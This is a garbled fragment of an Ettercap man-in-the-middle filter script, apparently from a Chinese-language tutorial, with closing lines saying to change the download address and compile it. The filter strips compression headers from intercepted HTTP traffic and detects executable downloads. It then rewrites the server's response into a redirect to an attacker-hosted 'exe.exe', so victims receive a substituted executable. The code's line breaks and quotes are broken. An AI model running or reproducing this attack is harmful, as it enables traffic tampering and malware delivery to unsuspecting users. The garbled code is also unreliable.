if

　　(search(DATA.data, "Accept-Encoding")) {

　　replace("Accept-Encoding",

　　"Accept-Rubbish!");

　　#

　　note: replacement string is same length as original

　　string

　　msg("zapped

　　Accept-Encoding!n");

　　}

　　}

　　if (ip.proto == TCP &&

　　tcp.src == 80) {

　　replace("keep-alive", "close"

　　");

　　replace("Keep-Alive", "close" ");

}

if (ip.proto == TCP

　　&& search(DATA.data, ": application") ){

　　# enable for logging

　　log(DECODED.data, "/tmp/log.log");

　　msg("found EXEn");

　　# "Win32" is the

　　first part of the exe example:

　　# if the EXE started with "this program must

　　be run in MSDOS mode" you could search for MSDOS etc ..

　　if (search(DATA.data,

　　"Win32")) {

　　msg("doing nothingn");

　　} else {

　　replace("200 OK", "301

　　Moved Permanently

　　Location:

　　http://www.xxx.com/exe.exe

　　");

　　msg("redirect

　　successn");

}

　　}

　　然后改掉里面的下载地址

　　之后编译下